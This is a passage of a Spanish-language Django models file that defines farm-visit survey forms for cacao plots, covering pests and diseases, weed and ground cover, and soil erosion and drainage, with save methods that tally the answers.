Meta: verbose_name = "Ficha plaga" verbose_name_plural = "Ficha plaga" CHOICE_ENFERMEDADES_CACAOTALES = ( (1, 'Monilia'), (2, 'Mazorca negra'), (3, 'Mal de machete'), (4, 'Mal de talluelo en el vivero'), (5, 'Barrenadores de tallo'), (6, 'Zompopos'), (7, 'Chupadores o áfidos'), (8, 'Escarabajos'), (9, 'Comején'), (10, 'Ardillas'), (11, 'Otros'), ) class PlagasEnfermedad(models.Model): plagas = models.IntegerField(choices=CHOICE_ENFERMEDADES_CACAOTALES, blank=True, null=True, verbose_name="Plagas y enfermedades") visto = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True, verbose_name="He visto en mi cacaotal") dano = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True, verbose_name="Hace daño año con año") promedio = models.FloatField("¿Promedio nivel de daño en %?") ficha = models.ForeignKey(FichaPlaga) def __unicode__(self): return u"PlagasEnfermedad" CHOICE_ACCIONES_ENFERMEDADES = ( (1, 'Recuento de plagas'), (2, 'Cortar las mazorcas enfermas'), (3, 'Abonar las plantas'), (4, 'Aplicar Caldos'), (5, 'Aplicar Fungicidas'), (6, 'Manejo de sombra'), (7, 'Podar las plantas de cacao'), (8, 'Aplicar venenos para Zompopo'), (9, 'Control de Comején'), (10, 'Ahuyar Ardillas'), (11, 'Otras'), ) class AccionesEnfermedad(models.Model): plagas_acciones = models.IntegerField(choices=CHOICE_ACCIONES_ENFERMEDADES, blank=True, null=True, verbose_name="Manejo de Plagas y enfermedadess") realiza_manejo = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True, verbose_name="Realiza en manejo") cuantas_veces = models.IntegerField(blank=True, null=True, verbose_name="Cuantas veces realizan el manejo") meses = MultiSelectField(choices=CHOICES_FECHA_PODA, verbose_name='En qué meses realizan el manejo') ficha = models.ForeignKey(FichaPlaga) def __unicode__(self): return u"AccionesEnfermedad" class Meta: verbose_name = "ACCIONES MANEJO DE PLAGAS Y ENFERMEDADE" CHOICE_ORIENTACION = ( ("A", 'Técnico'), ("B", 'Casa comercial'), ("C", 'Cooperativa'), ("D", 'Otros productores'), ("E", 'Experiencia propia/costumbres'), ("F", 'Otros medio de comunicación'), ) class Orientacion(models.Model): fuentes = MultiSelectField(choices=CHOICE_ORIENTACION, verbose_name='3. Las fuentes de orientación para manejo de las plagas y enfermedades') ficha = models.ForeignKey(FichaPlaga) def __unicode__(self): return u"Orientacion" CHOICE_OBSERVACION_PUNTO1 = ( (1, 'Monilia'), (2, 'Mazorca Negra'), (3, 'Mal de machete'), (4, 'Daño de ardilla'), (5, 'Daño de barrenador'), (6, 'Chupadores'), (7, 'Daño de zompopo'), (8, 'Bejuco'), (9, 'Tanda'), (10, 'Daño de comején'), (11, 'Daño de minador de la hoja'), (12, 'Daño por lana'), (13, 'Otros'), ) class ObservacionPunto1(models.Model): planta = models.IntegerField(choices=CHOICE_OBSERVACION_PUNTO1, blank=True, null=True) uno = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) dos = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) tres = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) cuatro = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) cinco = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) seis = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) siete = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) ocho = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) nueve = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) dies = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True, verbose_name='Diez') contador = models.IntegerField(editable=False, null=True, blank=True) ficha = models.ForeignKey(FichaPlaga) def save(self, *args, **kwargs): contar = 0 if self.uno == 1: contar += 1 if self.dos == 1: contar += 1 if self.tres == 1: contar += 1 if self.cuatro == 1: contar += 1 if self.cinco == 1: contar += 1 if self.seis == 1: contar += 1 if self.siete == 1: contar += 1 if self.ocho == 1: contar += 1 if self.nueve == 1: contar += 1 if self.dies == 1: contar += 1 self.contador = contar super(ObservacionPunto1, self).save(*args, **kwargs) def __unicode__(self): return u"Punto1" class ObservacionPunto1Nivel(models.Model): planta = models.IntegerField(choices=CHOICE_PLANTAS3) uno = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) dos = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) tres = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) cuatro = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) cinco = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) seis = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) siete = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) ocho = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) nueve = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) dies = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) alta = models.IntegerField(editable=False, null=True, blank=True) media = models.IntegerField(editable=False, null=True, blank=True) baja = models.IntegerField(editable=False, null=True, blank=True) ficha = models.ForeignKey(FichaPlaga) def save(self, *args, **kwargs): contar_alta = 0 if self.uno == 1: contar_alta += 1 if self.dos == 1: contar_alta += 1 if self.tres == 1: contar_alta += 1 if self.cuatro == 1: contar_alta += 1 if self.cinco == 1: contar_alta += 1 if self.seis == 1: contar_alta += 1 if self.siete == 1: contar_alta += 1 if self.ocho == 1: contar_alta += 1 if self.nueve == 1: contar_alta += 1 if self.dies == 1: contar_alta += 1 self.alta = contar_alta contar_media = 0 if self.uno == 2: contar_media += 1 if self.dos == 2: contar_media += 1 if self.tres == 2: contar_media += 1 if self.cuatro == 2: contar_media += 1 if self.cinco == 2: contar_media += 1 if self.seis == 2: contar_media += 1 if self.siete == 2: contar_media += 1 if self.ocho == 2: contar_media += 1 if self.nueve == 2: contar_media += 1 if self.dies == 2: contar_media += 1 self.media = contar_media contar_baja = 0 if self.uno == 3: contar_baja += 1 if self.dos == 3: contar_baja += 1 if self.tres == 3: contar_baja += 1 if self.cuatro == 3: contar_baja += 1 if self.cinco == 3: contar_baja += 1 if self.seis == 3: contar_baja += 1 if self.siete == 3: contar_baja += 1 if self.ocho == 3: contar_baja += 1 if self.nueve == 3: contar_baja += 1 if self.dies == 3: contar_baja += 1 self.baja = contar_baja super(ObservacionPunto1Nivel, self).save(*args, **kwargs) def __unicode__(self): return u"Punto1 nivel produccion" class ObservacionPunto2(models.Model): planta = models.IntegerField(choices=CHOICE_OBSERVACION_PUNTO1, blank=True, null=True) uno = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) dos = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) tres = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) cuatro = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) cinco = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) seis = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) siete = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) ocho = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) nueve = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) dies = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) contador = models.IntegerField(editable=False, null=True, blank=True) ficha = models.ForeignKey(FichaPlaga) def save(self, *args, **kwargs): contar = 0 if self.uno == 1: contar += 1 if self.dos == 1: contar += 1 if self.tres == 1: contar += 1 if self.cuatro == 1: contar += 1 if self.cinco == 1: contar += 1 if self.seis == 1: contar += 1 if self.siete == 1: contar += 1 if self.ocho == 1: contar += 1 if self.nueve == 1: contar += 1 if self.dies == 1: contar += 1 self.contador = contar super(ObservacionPunto2, self).save(*args, **kwargs) def __unicode__(self): return u"Punto2" class ObservacionPunto2Nivel(models.Model): planta = models.IntegerField(choices=CHOICE_PLANTAS3) uno = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) dos = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) tres = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) cuatro = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) cinco = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) seis = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) siete = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) ocho = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) nueve = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) dies = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) alta = models.IntegerField(editable=False, null=True, blank=True) media = models.IntegerField(editable=False, null=True, blank=True) baja = models.IntegerField(editable=False, null=True, blank=True) ficha = models.ForeignKey(FichaPlaga) def save(self, *args, **kwargs): contar_alta = 0 if self.uno == 1: contar_alta += 1 if self.dos == 1: contar_alta += 1 if self.tres == 1: contar_alta += 1 if self.cuatro == 1: contar_alta += 1 if self.cinco == 1: contar_alta += 1 if self.seis == 1: contar_alta += 1 if self.siete == 1: contar_alta += 1 if self.ocho == 1: contar_alta += 1 if self.nueve == 1: contar_alta += 1 if self.dies == 1: contar_alta += 1 self.alta = contar_alta contar_media = 0 if self.uno == 2: contar_media += 1 if self.dos == 2: contar_media += 1 if self.tres == 2: contar_media += 1 if self.cuatro == 2: contar_media += 1 if self.cinco == 2: contar_media += 1 if self.seis == 2: contar_media += 1 if self.siete == 2: contar_media += 1 if self.ocho == 2: contar_media += 1 if self.nueve == 2: contar_media += 1 if self.dies == 2: contar_media += 1 self.media = contar_media contar_baja = 0 if self.uno == 3: contar_baja += 1 if self.dos == 3: contar_baja += 1 if self.tres == 3: contar_baja += 1 if self.cuatro == 3: contar_baja += 1 if self.cinco == 3: contar_baja += 1 if self.seis == 3: contar_baja += 1 if self.siete == 3: contar_baja += 1 if self.ocho == 3: contar_baja += 1 if self.nueve == 3: contar_baja += 1 if self.dies == 3: contar_baja += 1 self.baja = contar_baja super(ObservacionPunto2Nivel, self).save(*args, **kwargs) def __unicode__(self): return u"Punto2 nivel produccion" class ObservacionPunto3(models.Model): planta = models.IntegerField(choices=CHOICE_OBSERVACION_PUNTO1, blank=True, null=True) uno = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) dos = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) tres = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) cuatro = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) cinco = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) seis = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) siete = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) ocho = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) nueve = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) dies = models.IntegerField(choices=CHOICE_SI_NO, blank=True, null=True) contador = models.IntegerField(editable=False, null=True, blank=True) ficha = models.ForeignKey(FichaPlaga) def save(self, *args, **kwargs): contar = 0 if self.uno == 1: contar += 1 if self.dos == 1: contar += 1 if self.tres == 1: contar += 1 if self.cuatro == 1: contar += 1 if self.cinco == 1: contar += 1 if self.seis == 1: contar += 1 if self.siete == 1: contar += 1 if self.ocho == 1: contar += 1 if self.nueve == 1: contar += 1 if self.dies == 1: contar += 1 self.contador = contar super(ObservacionPunto3, self).save(*args, **kwargs) def __unicode__(self): return u"Punto3" class ObservacionPunto3Nivel(models.Model): planta = models.IntegerField(choices=CHOICE_PLANTAS3) uno = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) dos = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) tres = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) cuatro = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) cinco = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) seis = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) siete = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) ocho = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) nueve = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) dies = models.IntegerField(choices=CHOICE_PRODUCCION, blank=True, null=True) alta = models.IntegerField(editable=False, null=True, blank=True) media = models.IntegerField(editable=False, null=True, blank=True) baja = models.IntegerField(editable=False, null=True, blank=True) ficha = models.ForeignKey(FichaPlaga) def save(self, *args, **kwargs): contar_alta = 0 if self.uno == 1: contar_alta += 1 if self.dos == 1: contar_alta += 1 if self.tres == 1: contar_alta += 1 if self.cuatro == 1: contar_alta += 1 if self.cinco == 1: contar_alta += 1 if self.seis == 1: contar_alta += 1 if self.siete == 1: contar_alta += 1 if self.ocho == 1: contar_alta += 1 if self.nueve == 1: contar_alta += 1 if self.dies == 1: contar_alta += 1 self.alta = contar_alta contar_media = 0 if self.uno == 2: contar_media += 1 if self.dos == 2: contar_media += 1 if self.tres == 2: contar_media += 1 if self.cuatro == 2: contar_media += 1 if self.cinco == 2: contar_media += 1 if self.seis == 2: contar_media += 1 if self.siete == 2: contar_media += 1 if self.ocho == 2: contar_media += 1 if self.nueve == 2: contar_media += 1 if self.dies == 2: contar_media += 1 self.media = contar_media contar_baja = 0 if self.uno == 3: contar_baja += 1 if self.dos == 3: contar_baja += 1 if self.tres == 3: contar_baja += 1 if self.cuatro == 3: contar_baja += 1 if self.cinco == 3: contar_baja += 1 if self.seis == 3: contar_baja += 1 if self.siete == 3: contar_baja += 1 if self.ocho == 3: contar_baja += 1 if self.nueve == 3: contar_baja += 1 if self.dies == 3: contar_baja += 1 self.baja = contar_baja super(ObservacionPunto3Nivel, self).save(*args, **kwargs) def __unicode__(self): return u"Punto3 nivel produccion" CHOICE_ENFERMEDADES = ( ("A", 'Monilia'), ("B", 'Mazorca negra'), ("C", 'Mal de machete'), ("D", 'Mal de talluelo en el vivero'), ("E", 'Barrenadores de tallo'), ("F", 'Zompopos'), ("G", 'Chupadores o áfidos'), ("H", 'Escarabajos'), ("J", 'Comején'), ("K", 'Minador de la hoja'), ("L", 'Lana'), ("M", 'Ardillaa'), ("N", 'Bejuco'), ("O", 'Tanda'), ) CHOICE_SITUACION_PLAGAS = ( (1, 'Varias plagas en todos los puntos'), (2, 'Varias plagas en algunos puntos'), (3, 'Pocas plagas en todos los puntos'), (4, 'Pocas plagas en algunos puntos'), (5, 'Una plaga en todos los puntos'), (6, 'Una plaga en algunos puntos'), ) class ProblemasPrincipales(models.Model): observadas = MultiSelectField(choices=CHOICE_ENFERMEDADES, verbose_name='Las plagas y enfermedades observadas en la parcela') situacion = models.IntegerField(choices=CHOICE_SITUACION_PLAGAS,blank=True, null=True) principales = MultiSelectField(choices=CHOICE_ENFERMEDADES, verbose_name='Las plagas y enfermedades principales en la parcela') ficha = models.ForeignKey(FichaPlaga) def __unicode__(self): return u"problemas principales" CHOICE_ENFERMEDADES_PUNTO6_1 = ( ("A", 'Suelo erosionado'), ("B", 'Suelo poco fértil'), ("C", 'Mucha competencia'), ("D", 'Mal drenaje'), ("E", 'Falta obras de conservación'), ("F", 'Suelo compacto'), ("G", 'Suelo con poca MO'), ("H", 'No usa abono o fertilizante'), ) CHOICE_ENFERMEDADES_PUNTO6_2 = ( (1, 'Sombra muy densa'), (2, 'Sombra muy rala'), (3, 'Sombra mal distribuida'), (4, 'Arboles de sombra no adecuada'), (5, 'Mucha auto-sombra'), (6, 'Mucho banano'), ) CHOICE_ENFERMEDADES_PUNTO6_3 = ( ("A", 'Poda no adecuada'), ("B", 'Piso no manejado'), ("C", 'No eliminan mazorcas enfermas'), ("D", 'No hay manejo de plagas'), ("E", 'Plantas desnutridas'), ("F", 'Plantación vieja'), ("G", 'Variedades susceptibles'), ("H", 'Variedades no productivas'), ) class Punto6Plagas(models.Model): observaciones = MultiSelectField(choices=CHOICE_ENFERMEDADES_PUNTO6_1, verbose_name='Observaciones de suelo ') sombra = models.IntegerField(choices=CHOICE_ENFERMEDADES_PUNTO6_2, verbose_name="Observaciones de sombra", blank=True, null=True) manejo = MultiSelectField(choices=CHOICE_ENFERMEDADES_PUNTO6_3, verbose_name='Observaciones de manejo ') ficha = models.ForeignKey(FichaPlaga) def __unicode__(self): return u"punto 6" CHOICE_ACCIONES_PUNTO7_1 = ( (1, 'Recuento de plagas'), (2, 'Cortar las mazorcas enfermas'), (3, 'Abonar las plantas'), (4, 'Aplicar Caldos'), (5, 'Aplicar Fungicidas'), (6, 'Manejo de sombra'), (7, 'Podar las plantas de cacao'), (8, 'Aplicar venenos para Zompopo'), (9, 'Control de Comején'), ) CHOICE_ACCIONES_PUNTO7_2 = ( (1, 'Toda la parcela'), (2, 'Alguna parte de la parcela'), ) class Punto7Plagas(models.Model): manejo = models.IntegerField(choices=CHOICE_ACCIONES_PUNTO7_1, verbose_name="Manejo de plagas y enfermedades", blank=True, null=True) parte = models.IntegerField(choices=CHOICE_ACCIONES_PUNTO7_2, verbose_name="En que parte", blank=True, null=True) meses = MultiSelectField(choices=CHOICES_FECHA_PODA, verbose_name='En qué meses vamos a realizar el manejo') ficha = models.ForeignKey(FichaPlaga) def __unicode__(self): return u"punto 7" CHOICE_ENFERMEDADES_PUNTO8 = ( ("A", 'Medial Luna'), ("B", 'Tijera'), ("C", 'Serrucho'), ("D", 'Bomba de mochila'), ("E", 'Barril'), ("F", 'Cutacha'), ("G", 'No tiene'), ("H", 'Coba'), ) class Punto8y9Plagas(models.Model): equipos = MultiSelectField(choices=CHOICE_ENFERMEDADES_PUNTO8, verbose_name='8.¿Tenemos los equipos necesarios para realizar manejo de plagas y enfermedades?') opcion = models.IntegerField(choices=CHOICE_SI_NO, verbose_name="9.¿Tenemos la formación para realizar el manejo de plagas y enfermedades?", blank=True, null=True) ficha = models.ForeignKey(FichaPlaga) def __unicode__(self): return u"punto 8 y 9" #------------------------------ fin de ficha de plagas ------------------------------- class FichaPiso(models.Model): productor = models.ForeignKey(Persona, verbose_name='Nombre de productor o productora', related_name='persona_productor_piso') tecnico = models.ForeignKey(Persona, verbose_name='Nombre de técnico', related_name='persona_tecnico_piso') fecha_visita = models.DateField() def __unicode__(self): return self.productor.nombre class Meta: verbose_name = "Ficha piso" verbose_name_plural = "Fichas piso" CHOICE_PISO1 = ( ("A", 'Zacates o matas de hoja angosta'), ("B", 'Arbustos o plantas de hoja ancha'), ("C", 'Coyol o Coyolillo'), ("D", 'Bejucos'), ("E", 'Tanda'), ("F", 'Cobertura de hoja ancha'), ("G", 'Cobertura de hoja angosta'), ) class PisoPunto1(models.Model): punto1 = MultiSelectField(choices=CHOICE_PISO1, verbose_name='1.¿Cuáles son las hierbas qué cubren el piso y sube sobre las planta de cacao? ') punto2 = MultiSelectField(choices=CHOICE_PISO1, verbose_name='2.¿Cuáles son las hierbas qué usted considera dañino? ') ficha = models.ForeignKey(FichaPiso) def __unicode__(self): return u"piso 1 y 2" CHOICE_PISO3 = ( (1, 'Recuento de malezas'), (2, 'Chapoda tendida'), (3, 'Chapoda selectiva'), (4, 'Aplicar herbicidas total'), (5, 'Aplicar herbicidas en parches'), (6, 'Manejo de bejuco'), (7, 'Manejo de tanda'), (8, 'Regulación de sombra'), ) class PisoPunto3(models.Model): manejo = models.IntegerField(choices=CHOICE_PISO3, verbose_name="Manejo de piso", blank=True, null=True) realiza = models.IntegerField(choices=CHOICE_SI_NO, verbose_name="Realiza en manejo", blank=True, null=True) veces = models.FloatField("Cuantas veces realizan el manejo") meses = MultiSelectField(choices=CHOICES_FECHA_PODA, verbose_name='En qué meses vamos a realiza el manejo') ficha = models.ForeignKey(FichaPiso) def __unicode__(self): return u"punto 3" CHOICE_PISO4 = ( ("A", 'Técnico'), ("B", 'Casa comercial'), ("C", 'Cooperativa'), ("D", 'Otros productores'), ("E", 'Experiencia propia/costumbres'), ("F", 'Otros medio de comunicación'), ) class PisoPunto4(models.Model): manejo = MultiSelectField(choices=CHOICE_PISO4, verbose_name='4.¿De dónde viene su orientación de manejo de malas hierbas?') ficha = models.ForeignKey(FichaPiso) def __unicode__(self): return u"punto 4" CHOICE_PISO5 = ( (1, 'Zacate anual'), (2, 'Zacate perene'), (3, 'Hoja ancha anual'), (4, 'Hoja ancha perenne'), (5, 'Ciperácea o Coyolillo'), (6, 'Bejucos en suelo'), (7, 'Cobertura hoja ancha'), (8, 'Cobertura hoja angosta'), (9, 'Hojarasca'), (10, 'Mulch de maleza'), (11, 'Suelo desnudo') ) class PisoPunto5(models.Model): estado = models.IntegerField(choices=CHOICE_PISO5, verbose_name="Estado de Piso", blank=True, null=True) conteo = models.FloatField('Conteo (números)') ficha = models.ForeignKey(FichaPiso) def __unicode__(self): return u"punto 5" CHOICE_PISO6_1 = ( ("A", 'Sin competencia'), ("B", 'Media competencia'), ("C", 'Alta competencia'), ) CHOICE_PISO6_2 = ( (1, 'Piso cubierto pero compite'), (2, 'Piso medio cubierto y compite'), (3, 'Piso no cubierto'), (4, 'Piso con mucho bejuco'), (5, 'Plantas con bejuco'), (6, 'Plantas con tanda'), ) CHOICE_PISO6_3 = ( ("A", 'Zacate anual'), ("B", 'Zacate perene'), ("C", 'Hoja ancha anual'), ("D", 'Hoja ancha perenne'), ("E", 'Ciperácea o Coyolillo'), ("F", 'Bejucos'), ) class PisoPunto6(models.Model): manejo = MultiSelectField(choices=CHOICE_PISO6_1, verbose_name='La competencia entre malas hierbas y las plantas de cacao?') estado = models.IntegerField(choices=CHOICE_PISO6_2, verbose_name="La cobertura del piso de cacaotal", blank=True, null=True) maleza = MultiSelectField(choices=CHOICE_PISO6_3, verbose_name='Tipo de malezas que compiten') ficha = models.ForeignKey(FichaPiso) def __unicode__(self): return u"punto 6" CHOICE_PISO7_1 = ( ("A", 'Suelo erosionado'), ("B", 'Suelo poco fértil'), ("C", 'Mal drenaje'), ("D", 'Suelo compacto'), ("E", 'Suelo con poca MO'), ("F", 'No usa abono o fertilizante'), ) CHOICE_PISO7_2 = ( ("A", 'Sombra muy rala'), ("B", 'Sombra mal distribuida'), ("C", 'Arboles de sombra no adecuada'), ("D", 'Poco banano'), ) CHOICE_PISO7_3 = ( ("A", 'Chapoda no adecuada'), ("B", 'Chapoda tardía'), ("C", 'No hay manejo selectivo'), ("D", 'Plantas desnutridas'), ("E", 'Plantación vieja'), ("F", 'Mala selección de herbicidas'), ) class PisoPunto7(models.Model): suelo = MultiSelectField(choices=CHOICE_PISO7_1, verbose_name='Observaciones de suelo ') sombra = MultiSelectField(choices=CHOICE_PISO7_2, verbose_name='Observaciones de sombra') manejo = MultiSelectField(choices=CHOICE_PISO7_3, verbose_name='Observaciones de manejo') ficha = models.ForeignKey(FichaPiso) def __unicode__(self): return u"punto 7" CHOICE_PISO8 = ( (1, 'Recuento de malezas'), (2, 'Chapoda tendida'), (3, 'Chapoda selectiva'), (4, 'Aplicar herbicidas total'), (5, 'Aplicar herbicidas en parches'), (6, 'Manejo de bejuco'), (7, 'Manejo de tanda'), (8, 'Regulación de sombra'), ) class PisoPunto8(models.Model): piso = models.IntegerField(choices=CHOICE_PISO8, verbose_name="Manejo de piso", blank=True, null=True) parte = models.IntegerField(choices=CHOICE_ACCIONES_PUNTO7_2, verbose_name="En que parte", blank=True, null=True) meses = MultiSelectField(choices=CHOICES_FECHA_PODA, verbose_name='En qué meses vamos a realizar el manejo') ficha = models.ForeignKey(FichaPiso) def __unicode__(self): return u"punto 8" CHOICE_PISO10 = ( ("A", 'Machete'), ("B", 'Pico'), ("C", 'Pala'), ("D", 'Bomba de mochila'), ("E", 'Barril'), ("F", 'Cutacha'), ("G", 'No tiene'), ("H", 'Coba'), ) class PisoPunto10(models.Model): equipo = MultiSelectField(choices=CHOICE_PISO10, verbose_name='10.¿Tenemos los equipos necesarios para realizar manejo de piso?') formacion = models.IntegerField(choices=CHOICE_SI_NO, verbose_name="11.¿Tenemos la formación para realizar el manejo de piso?", blank=True, null=True) ficha = models.ForeignKey(FichaPiso) def __unicode__(self): return u"punto 10 y 11" #-------------------------- entradas de suelo ---------------------------------- class FichaSuelo(models.Model): productor = models.ForeignKey(Persona, verbose_name='Nombre de productor o productora', related_name='persona_productor_suelo') tecnico = models.ForeignKey(Persona, verbose_name='Nombre de técnico', related_name='persona_tecnico_suelo') fecha_visita = models.DateField() def __unicode__(self): return self.productor.nombre class Meta: verbose_name = "Ficha suelo" verbose_name_plural = "Ficha suelo" CHOICE_SUELO_USO_PARCELA = ( (1, 'Bosque'), (2, 'Potrero'), (3, 'Granos básicos'), (4, 'Tacotal'), (5, 'Cacaotal viejo'), ) CHOICE_SUELO_LIMITANTES = ( ('A', 'Acidez / pH del suelo '), ('B', 'Encharcamiento / Mal Drenaje'), ('C', 'Enfermedades de raíces '), ('D', 'Deficiencia de nutrientes'), ('E', 'Baja materia orgánica'), ('F', 'Baja actividad biológica y presencia de lombrices'), ('G', 'Erosión'), ('H', 'Compactación e infiltración de agua'), ) CHOICE_SUELO_ORIENTACION = ( ('A', 'Técnico'), ('B', 'Casa comercial'), ('C', 'Cooperativa'), ('D', 'Otros productores'), ('E', 'Experiencia propia/costumbres'), ('F', 'Otros medio de comunicación'), ('G', 'Análisis de suelo '), ('H', 'Otros '), ) CHOICE_SUELO_ABONOS = ( ('A', 'Hecho en finca (compost, estiércol)'), ('B', 'Regalados de otra finca (compost, estiércol)'), ('C', 'Comprados de otra finca (compost, estiércol)'), ('D', 'Comprado de casa comercial'), ('E', 'Con crédito de la cooperativa'), ('F', 'Incentivos/Regalados'), ('G', 'No aplica'), ) class Punto1Suelo(models.Model): uso_parcela = models.IntegerField(choices=CHOICE_SUELO_USO_PARCELA, verbose_name="Cuál era el uso de la parcela antes de establecer el cacao?") limitante = MultiSelectField(choices=CHOICE_SUELO_LIMITANTES, verbose_name='Cuáles son los limitantes productivos del suelo de la parcela?') orientacion = MultiSelectField(choices=CHOICE_SUELO_ORIENTACION, verbose_name='Quien su orientación de manejo de fertilidad de suelo?') abonos = MultiSelectField(choices=CHOICE_SUELO_ABONOS, verbose_name='4. De donde consigue los abonos, fertilizantes y enmiendas de suelo?') ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Punto 1" class Meta: verbose_name = 'Historial de manejo y limitaciones observados' verbose_name_plural = 'Historial de manejo y limitaciones observados' CHOICE_SUELO_EROSION_OPCION = ( (1, 'Deslizamientos'), (2, 'Evidencia de erosión'), (3, 'Cárcavas'), (4, 'Área de acumulación de sedimentos'), (5, 'Pedregosidad'), (6, 'Raíces desnudos'), ) CHOICE_SUELO_EROSION_RESPUESTA = ( (1, 'No presente'), (2, 'Algo'), (3, 'Severo'), ) class PuntoASuelo(models.Model): opcion = models.IntegerField(choices=CHOICE_SUELO_EROSION_OPCION, verbose_name="Indicadores") respuesta = models.IntegerField(choices=CHOICE_SUELO_EROSION_RESPUESTA, verbose_name="respuesta") ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Indicadores de erosión" class Meta: verbose_name = 'Indicadores de erosión' verbose_name_plural = 'Indicadores de erosión' CHOICE_SUELO_CONSERVACION_OPCION = ( (1, 'Barrera muertas'), (2, 'Barrera Viva'), (3, 'Siembra en Curvas a Nivel'), (4, 'Terrazas'), (5, 'Cobertura de piso'), ) CHOICE_SUELO_CONSERVACION_RESPUESTA = ( (1, 'No presente'), (2, 'En mal estado'), (3, 'En buen estado'), ) class PuntoBSuelo(models.Model): opcion = models.IntegerField(choices=CHOICE_SUELO_CONSERVACION_OPCION, verbose_name="Obras") respuesta = models.IntegerField(choices=CHOICE_SUELO_CONSERVACION_RESPUESTA, verbose_name="respuesta") ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Obras de conservación de suelo" class Meta: verbose_name = 'Obras de conservación de suelo' verbose_name_plural = 'Obras de conservación de suelo' CHOICE_SUELO_DRENAJE_OPCION = ( (1, 'Encharcamientos'), (2, 'Amarillamiento/mal crecimiento'), (3, 'Enfermedades (phytophthora)'), ) class Punto2ASuelo(models.Model): opcion = models.IntegerField(choices=CHOICE_SUELO_DRENAJE_OPCION, verbose_name="Indicadores") respuesta = models.IntegerField(choices=CHOICE_SUELO_EROSION_RESPUESTA, verbose_name="respuesta") ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Indicadores de drenaje" class Meta: verbose_name = 'Indicadores de drenaje' verbose_name_plural = 'Indicadores de drenaje' CHOICE_SUELO_DRENAJE_OPCION2 = ( (1, 'Acequias'), (2, 'Canales de drenaje a lo largo y ancho de la parcela'), (3, 'Canales de drenaje alrededor de las plantas'), (4, 'Canales a lado de la parcela'), (5, 'Cobertura de piso'), ) class Punto2BSuelo(models.Model): opcion = models.IntegerField(choices=CHOICE_SUELO_DRENAJE_OPCION2, verbose_name="Indicadores") respuesta = models.IntegerField(choices=CHOICE_SUELO_CONSERVACION_RESPUESTA, verbose_name="respuesta") ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Obras de drenaje" class Meta: verbose_name = 'Obras de drenaje' verbose_name_plural = 'Obras de drenaje' CHOICE_SUELO_OPCION_PUNTOS = ( (1, 'Severidad de daño de nematodos'), (2, 'Severidad de daño de hongos'), ) CHOICE_SUELO_RESPUESTA_PUNTOS = ( (1, 'No Afectado'), (2, 'Afectado'), (3, 'Muy Afectados'), (4, 'Severamente afectados'), ) class Punto3SueloPunto1(models.Model): opcion = models.IntegerField(choices=CHOICE_SUELO_OPCION_PUNTOS, verbose_name="Indicadores") respuesta = models.IntegerField(choices=CHOICE_SUELO_RESPUESTA_PUNTOS, 